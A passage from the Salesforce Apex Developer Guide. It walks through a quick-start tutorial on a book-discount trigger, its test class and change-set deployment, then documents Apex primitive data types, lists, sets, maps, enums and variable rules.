public class MyHelloWorld {

The previous code is the class definition to which you’ll be adding one method in the next step. Apex code is contained in classes.
This class is defined as public, which means the class is available to other Apex classes and triggers. For more information, see
Classes, Objects, and Interfaces on page 60.

3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}

This method is called applyDiscount, and it’s both public and static. Because it’s a static method, you don't need to create an
instance of the class to access the method—you can use the name of the class followed by a dot (.) and the name of the method.
For more information, see Static and Instance Methods, Variables, and Initialization Code on page 69.
This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object
name Book__c. This indicates that it’s a custom object that you created. Standard objects that are provided in the Salesforce
application, such as Account, don't end with this postfix.
The next section of code contains the rest of the method definition:
for (Book__c b :books){
b.Price__c *= 0.9;
}

Notice the __c after the field name Price__c. This indicates that it’s a custom field that you created. Standard fields that are
provided by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't
end with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies
it by 0.9, which means its value is discounted by 10%, and then stores the new value into the b.Price__c field. The *= operator

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Apex Developer Guide Apex Quick Start

is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Expression Operators on
page 39.

4. Click Save to save the new class. You now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
}

You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is
part of the applyDiscount static method called by the trigger that you’ll create in the next step.

Add an Apex Trigger

In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The MyHelloWorld Apex class.
A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Lightning
Platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All
triggers run in bulk; that is, they process several records at once.
1. From the object management settings for books, go to Triggers, and then click New.
2. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) {

Book__c[] books = Trigger.new;

MyHelloWorld.applyDiscount(books);
}

The first line of code defines the trigger:

trigger HelloWorldTrigger on Book__c (before insert) {

It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this
trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database.
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;

The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);

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Apex Developer Guide Apex Quick Start

You now have all the code that is needed to update the price of all books that get inserted. However, there’s still one piece of the puzzle
missing. Unit tests are an important part of writing code and are required. In the next step, you'll see why this is so and will be able to
add a test class.

SEE ALSO:
Salesforce Help: Find Object Management Settings

Add a Test Class

In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and
validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The HelloWorldTrigger Apex trigger.

Note: Testing is an important part of the development process. Before you can deploy Apex or package it for AppExchange, the
following must be true.
• Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug aren’t counted as part of Apex code coverage.
– Test methods and test classes aren’t counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, don’t focus on the percentage of code that is covered. Instead,
make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and
single records. This approach ensures that 75% or more of your code is covered by unit tests.

• Every trigger must have some test coverage.

• All classes and triggers must compile successfully.

1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, add this test class definition, and then click Save.
@IsTest
private class HelloWorldTestClass {
@IsTest
static void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);

// Insert book
insert b;

// Retrieve the new book

b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);

// Test that the trigger correctly updated the price

System.assertEquals(90, b.Price__c);

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Apex Developer Guide Apex Quick Start

}
}

This class is defined using the @IsTest annotation. Classes defined this way should only contain test methods and any methods
required to support those test methods. One advantage to creating a separate class for testing is that classes defined with @IsTest
don’t count against your org’s limit of 6 MB of Apex code. You can also add the @IsTest annotation to individual methods. For
more information, see @IsTest Annotation on page 103 and Execution Governors and Limits.
The method validateHelloWorld is defined using the @IsTest annotation. This annotation means that if changes are
made to the database, they’re rolled back when execution completes. You don’t have to delete any test data created in the test
method.

Note: The @IsTest annotation on methods is equivalent to the testMethod keyword. As best practice, Salesforce
recommends that you use @IsTest rather than testMethod. The testMethod keyword may be versioned out in a
future release.
First, the test method creates a book and inserts it into the database temporarily. The System.debug statement writes the value
of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);

// Insert book
insert b;

After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it
was inserted. The System.debug statement then logs the new price that the trigger modified.
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);

When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following test verifies
that the method applyDiscount ran and produced the expected result.
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);

3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click Test > New Run.
5. To select your test class, click HelloWorldTestClass.
6. To add all methods in the HelloWorldTestClass class to the test run, click Add Selected.
7. Click Run.
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run.
In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger
covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Because the trigger calls a method
from the MyHelloWorld class, this class also has coverage (100%). To view the class coverage, double-click MyHelloWorld.
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including
logging information about the trigger event, the call to the applyDiscount method, and the price before and after the trigger.

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Apex Developer Guide Apex Quick Start

By now, you’ve completed all the steps necessary for writing some Apex code with a test that runs in your development environment.
In the real world, after you tested your code and are satisfied with it, you want to deploy the code and any prerequisite components to
a production org. The next step shows you how to do this deployment for the code and custom object you created.

SEE ALSO:
Salesforce Help: Open the Developer Console

Deploy Components to Production

In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
Prerequisites:
• A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
• The HelloWorldTestClass Apex test class.
• A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by
the production organization. See “Change Sets” in Salesforce Help.
• “Create and Upload Change Sets” user permission to create, edit, or upload outbound change sets.
This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise, or
Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more
information, see Deploying Apex.
1. From Setup, enter Outbound Changesets in the Quick Find box, then select Outbound Changesets.
2. If a splash page appears, click Continue.
3. In the Change Sets list, click New.
4. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save.
5. In the Change Set Components section, click Add.
6. Select Apex Class from the component type dropdown list, then select the MyHelloWorld and the HelloWorldTestClass classes from
the list and click Add to Change Set.
7. To add the dependent components, click View/Add Dependencies.
8. To select all components, select the top checkbox. Click Add To Change Set.
9. In the Change Set Detail section of the change set page, click Upload.
10. Select the target organization, in this case production, and click Upload.
11. After the change set upload completes, deploy it in your production organization.
a. Log in to your production organization.
b. From Setup, enter Inbound Change Sets in the Quick Find box, then select Inbound Change Sets.
c. If a splash page appears, click Continue.
d. In the change sets awaiting deployment list, click your change set's name.
e. Click Deploy.

In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned
how to test your code, and how to upload the code and the custom object using Change Sets.

22
Apex Developer Guide Writing Apex

Writing Apex
Apex is like Java for Salesforce. It enables you to add and interact with data in the Lightning Platform persistence layer. It uses classes,
data types, variables, and if-else statements. You can make it execute based on a condition, or have a block of code execute repeatedly.

Data Types and Variables

Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment
statements.
Control Flow Statements
Apex provides if-else statements, switch statements, and loops to control the flow of code execution. Statements are generally
executed line by line, in the order they appear. With control flow statements, you can make Apex code execute based on a certain
condition, or have a block of code execute repeatedly.
Working with Data in Apex
You can add and interact with data in the Lightning Platform persistence layer. The sObject data type is the main data type that
holds data objects. You’ll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such
as the (), among other things.

Data Types and Variables

Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment
statements.

1. Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
2. Primitive Data Types
Apex uses the same primitive data types as SOAP API, except for higher-precision Decimal type in certain cases.
3. Collections
Collections in Apex can be lists, sets, or maps.
4. Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are
typically used to define a set of possible values that don’t otherwise have a numerical order. Typical examples include the suit of a
card, or a particular season of the year.
5. Variables
Local variables are declared with Java-style syntax.
6. Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final
keyword.
7. Expressions and Operators
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
8. Assignment Statements
An assignment statement is any statement that places a value into a variable.

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Apex Developer Guide Data Types and Variables

9. Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot
be implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly
converted, without using a method.

Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
• A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 24)
• An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see Working
with sObjects on page 128 in Chapter 4.)
• A collection, including:
– A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page
28)
– A set of primitives (see Sets on page 31)
– A map from a primitive to a primitive, sObject, or collection (see Maps on page 31)

• A typed list of values, also known as an enum (see Enums on page 33)
• Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 60)
• Objects created from system supplied Apex classes
• Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned
a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of
the error. For more information, see Debugging Apex on page 641.

Primitive Data Types

Apex uses the same primitive data types as SOAP API, except for higher-precision Decimal type in certain cases.
All Apex variables, whether they’re class member variables or method variables, are initialized to null. Make sure that you initialize
your variables to appropriate values before using them. For example, initialize a Boolean variable to false.
Apex primitive data types include:

Data Type Description

Blob A collection of binary data stored as a single object. You can convert this data type to String or from
String using the toString and valueOf methods, respectively. Blobs can be accepted as Web
service arguments, stored in a document (the body of a document is a Blob), or sent as attachments.
For more information, see Crypto Class. Salesforce supports Blob manipulation only with Apex class
methods that are supplied by Salesforce.

Boolean A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;

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Apex Developer Guide Data Types and Variables

Data Type Description

Date A value that indicates a particular day. Unlike Datetime values, Date values contain no information
about time. Always create date values with a system static method.
You can add or subtract an Integer value from a Date value, returning a Date value. Addition and
subtraction of Integer values are the only arithmetic functions that work with Date values. You can’t
perform arithmetic functions that include two or more Date values. Instead, use the Date methods.
Use the String.valueOf() method to obtain the date without an appended timestamp.
Using an implicit string conversion with a Date value results in the date with the timestamp appended.

Datetime A value that indicates a particular day and time, such as a timestamp. Always create datetime values
with a system static method.
You can add or subtract an Integer or Double value from a Datetime value, returning a Date value.
Addition and subtraction of Integer and Double values are the only arithmetic functions that work
with Datetime values. You can’t perform arithmetic functions that include two or more Datetime
values. Instead, use the Datetime methods.

Decimal A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields
are automatically assigned the type Decimal.
If you don’t explicitly set the number of decimal places for a Decimal, the item from which the Decimal
is created determines the Decimal’s scale. Scale is a count of decimal places. Use the setScale
method to set a Decimal’s scale.
• If the Decimal is created as part of a query, the scale is based on the scale of the field returned
from the query.
• If the Decimal is created from a String, the scale is the number of characters after the decimal
point of the String.
• If the Decimal is created from a non-decimal number, the number is first converted to a String.
The scale is then set using the number of characters after the decimal point.

Note: Two Decimal objects that are numerically equivalent but differ in scale (such as 1.1
and 1.10) generally don’t have the same hashcode. Use caution when such Decimal objects
are used in Sets or as Map keys.

Double A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum
value of 263-1. For example:
Double pi = 3.14159;
Double e = 2.7182818284D;

Scientific notation (e) for Doubles isn’t supported.

ID Any valid 18-character Lightning Platform record identifier. For example:

ID id='00300000003T2PGAA0';

If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All
invalid ID values are rejected with a runtime exception.

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Data Type Description

Integer A 32-bit number that doesn’t include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;

Long A 64-bit number that doesn’t include a decimal point. Longs have a minimum value of -263 and a
maximum value of 263-1. Use this data type when you need a range of values wider than the range
provided by Integer. For example:
Long l = 2147483648L;

Object Any data type that is supported in Apex. Apex supports primitive data types (such as Integer),
user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account).
All Apex data types inherit from Object.
You can cast an object that represents a more specific data type to its underlying data type. For
example:
Object obj = 10;
// Cast the object to an integer.
Integer i = (Integer)obj;
System.assertEquals(10, i);

The next example shows how to cast an object to a user-defined type—a custom Apex class named
MyApexClass that is predefined in your organization.

Object obj = new MyApexClass();

// Cast the object to the MyApexClass custom type.
MyApexClass mc = (MyApexClass)obj;
// Access a method on the user-defined class.
mc.someClassMethod();

String Any set of characters surrounded by single quotes. For example,

String s = 'The quick brown fox jumped over the lazy dog.';

String size: The limit on the number of characters is governed by the heap size limit.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in
SOAP API: they can never be empty (only null), and they can never include leading and trailing
whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace,
which can be used to construct a message.
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions
enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid
HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is

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Data Type Description

created or updated. In the following example, when the Solution displays on a detail page, the
SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) {
Trigger.new[0].SolutionNote ='<h1>hello</h1>';
}

In the following example, when the Solution displays on a detail page, the SolutionNote field only
contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'<javascript>Hello</javascript>Goodbye';
}

For more information, see “HTML Solutions Overview” in Salesforce Help.

EscapeSequences: All Strings in Apex use the same escape sequences as SOQL strings: \b
(backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote),
\' (single quote), and \\ (backslash).
Comparison Operators: Unlike Java, Apex Strings support using the comparison operators ==,
!=, <, <=, >, and >=. Because Apex uses SOQL comparison semantics, results for Strings are collated
according to the context user’s locale and aren’t case-sensitive. For more information, see Expression
Operators.
String Methods: As in Java, Strings can be manipulated with several standard methods. For more
information, see String Class.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for the field.

Time A value that indicates a particular time. Always create time values with a system static method. See
Time Class.

In addition, two non-standard primitive data types can’t be used as variable or method types, but do appear in system static methods:
• AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within
the Lightning Platform database exclusively for sObject fields in field history tracking tables.
• Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within
SOQL and SOSL WHERE clauses to filter against sObject currency fields. You can’t instantiate Currency in any other type of Apex.
For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce.

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Versioned Behavior Changes

In API version 16 (Summer ’09) and later, Apex uses the higher-precision Decimal data type in certain types such as currency.

SEE ALSO:
Expression Operators
Class Methods
Object Reference for the Salesforce Platform: Primitive Data Types

Collections
Collections in Apex can be lists, sets, or maps.

Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.

Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before
that variable can be used.

SEE ALSO:
Execution Governors and Limits

Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table is a visual representation of a list of Strings:

Index 0 Index 1 Index 2 Index 3 Index 4 Index 5

'Red' 'Orange' 'Yellow' 'Green' 'Blue' 'Purple'

The index position of the first element in a list is always 0.

Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list
of lists of sets of Integers. A list can contain up to seven levels of nested collections inside it, that is, up to eight levels overall.

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To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For
example:
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();

To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47); // Adds a second element of value 47 to the end
// of the list
Integer i = myList.get(0); // Retrieves the element at index 0
myList.set(0, 1); // Adds the integer 1 to the list at index 0
myList.clear(); // Removes all elements from the list

For more information, including a complete list of all supported methods, see List Class.

Using Array Notation for One-Dimensional Lists

When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list
elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the []
characters:
String[] colors = new List<String>();

These two statements are equivalent to the previous:

List<String> colors = new String[1];

String[] colors = new String[1];

To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square
brackets. For example:
colors[0] = 'Green';

Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]),
lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can
add two or more elements to the colors list. But if you’re using square brackets to add an element to a list, the list behaves like an
array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:

Example Description
Defines an Integer list of size zero with no elements
List<Integer> ints = new Integer[0];

Defines an Integer list with memory allocated for six Integers

List<Integer> ints = new Integer[6];

List Sorting
You can sort list elements and the sort order depends on the data type of the elements.

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List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such
as strings. The sort order of other more complex data types is described in the chapters covering those data types.
You can sort custom types (your Apex classes) if they implement the Comparable interface. Alternatively, a class implementing the
Comparator interface can be passed as a parameter to the List.sort method. For more information on the sort order used for
sObjects, see Sorting Lists of sObjects.
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));

For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the
sequence of comparison steps used for SelectOption.

Default Sort Order for SelectOption

The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this
comparison sequence.
1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.
The disabled field isn’t used for sorting.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (‘A’).
The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the
output. The last element in the sorted list is Canada and is sorted on its value field ‘C’, which comes after ‘A’.
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('A','United States'));
options.add(new SelectOption('C','Canada'));
options.add(new SelectOption('A','Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);

The output of the debug statements shows the contents of the list, both before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])

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Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table represents a set of strings that uses city names:

'San Francisco' 'New York' 'Paris' 'Tokyo'

Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can
contain up to seven levels of nested collections inside it, that is, up to eight levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
Set<String> myStringSet = new Set<String>();

The following example shows how to create a set with two hardcoded string values.
// Defines a new set with two elements
Set<String> set1 = new Set<String>{'New York', 'Paris'};

To access elements in a set, use the system methods provided by Apex. For example:
// Define a new set
Set<Integer> mySet = new Set<Integer>();
// Add two elements to the set
mySet.add(1);
mySet.add(3);
// Assert that the set contains the integer value we added
System.assert(mySet.contains(1));
// Remove the integer value from the set
mySet.remove(1);

The following example shows how to create a set from elements of another set.
// Define a new set that contains the
// elements of the set created in the previous example
Set<Integer> mySet2 = new Set<Integer>(mySet);
// Assert that the set size equals 1
// Note: The set from the previous example contains only one value
System.assert(mySet2.size() == 1);

For more information, including a complete list of all supported set system methods, see Set Class.
Note the following limitations on sets:
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example,
HashSet or TreeSet). Apex uses a hash structure for all sets.
• A set is an unordered collection—you can’t access a set element at a specific index. You can only iterate over set elements.
• The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of
the same code.

Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.

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This table represents a map of countries and currencies:

Country (Key) 'United States' 'Japan' 'France' 'England' 'India'

Currency (Value) 'Dollar' 'Yen' 'Euro' 'Pound' 'Rupee'

Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to
maps, which, in turn, map Strings to lists. Map keys can contain up to seven levels of nested collections, that is, up to eight levels overall.
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();

You can use the generic or specific sObject data types with maps. You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces,
specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' =>
'd'.toUpperCase()};

In the first example, the value for the key a is b, and the value for the key c is D.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It
adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map
m.put(1, 'First entry'); // Insert a new key-value pair in the map
m.put(2, 'Second entry'); // Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2); // Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map

For more information, including a complete list of all supported Map methods, see Map Class.

Map Considerations
• Unlike Java, Apex developers don’t need to reference the algorithm that is used to implement a map in their declarations (for example,
HashMap or TreeMap). Apex uses a hash structure for all maps.
• The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the
same code. However, we recommend to always access map elements by key.
• A map key can hold the null value.
• Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new
entry.
• Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as
distinct.
• Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in
your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field
values. Use caution when you use an sObject as a map key because when the sObject is changed, it no longer maps to the same

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value. For information and examples, see

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_map_sobject_considerations.htm
• A Map object is serializable into JSON only if it uses one of the following data types as a key.
– Boolean
– Date
– DateTime
– Decimal
– Double
– Enum
– Id
– Integer
– Long
– String
– Time

Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that
variable can be used.
This is legal in Apex:
Integer x = 1;

This is not legal, if x has not been defined earlier:

x = 1;

Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be
replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();

Subtyping with Parameterized Lists

In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'alpha', 'beta'};
List<Object> olst = slst;

Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically
used to define a set of possible values that don’t otherwise have a numerical order. Typical examples include the suit of a card, or a
particular season of the year.
Although each value corresponds to a distinct integer value, the enum hides this implementation. Hiding the implementation prevents
any possible misuse of the values to perform arithmetic and so on. After you create an enum, variables, method arguments, and return
types can be declared of that type.

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Note: Unlike Java, the enum type itself has no constructor syntax.

To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example,
the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}

By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you would
any other data type. For example:
Season southernHemisphereSeason = Season.WINTER;

public Season getSouthernHemisphereSeason(Season northernHemisphereSeason) {

if (northernHemisphereSeason == Season.SUMMER) return southernHemisphereSeason;

//...
}

You can also define a class as an enum. When you create an enum class, do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }

You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you
assign to it must be an instance of that enum class.
Any webservice method can use enum types as part of their signature. In this case, the associated WSDL file includes definitions
for the enum and its values, which the API client can use.
Apex provides the following system-defined enums:
• System.StatusCode
This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY

The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file
for your organization, see Downloading Salesforce WSDLs and Client Authentication Certificates in Salesforce Help.

• System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webservice method. For more information, see
XmlStreamReader Class.

• System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode

during Salesforce upgrades and downtimes. For more information, see System.getApplicationReadWriteMode().
• System.LoggingLevel:
This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System
Class.

• System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation. Typical
examples are the Decimal divide method and the Double round method. For more information, see Rounding Mode.

• System.SoapType:
This enum is returned by the field describe result getSoapType method. For more information, see SOAPType Enum.

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• System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.

• System.JSONToken:
This enum is used for parsing JSON content. For more information, see JsonToken Enum.

• ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.

• Dom.XmlNodeType:
This enum specifies the node type in a DOM document.

Note: System-defined enums cannot be used in Web service methods.

All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods.
You cannot add user-defined methods to enum values.

Variables
Local variables are declared with Java-style syntax.
For example:
Integer i = 0;
String str;
List<String> strList;
Set<String> s;
Map<ID, String> m;

As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;

Variable Naming Rules

When naming variables, follow these rules.
• Variable names are case-insensitive.
• Variable names can contain only letters (A-Z or a-z), numbers (0-9), and underscores (_). Spaces and other special characters, including
dollar signs ($) and hyphens (-), aren’t allowed.
• Variable names must begin with a letter (A-Z or a-z). Names can’t begin with a number (0-9) or an underscore (_).
• Variable names can’t end with an underscore (_).
• Varable names can’t contain consecutive underscores (_ _).
• Reserved keywords can’t be used as variable names.
• Variable names can have a maximum length of 255 characters.
• Salesforce doesn't recommend sharing the same name between a variable and either its class or a method in its class, although it
is permitted to do so.

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Null Variables and Initial Values

If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can
also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null:
Boolean x = null;
Decimal d;

Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception
(NullPointerException)
Date d;
d.addDays(2);

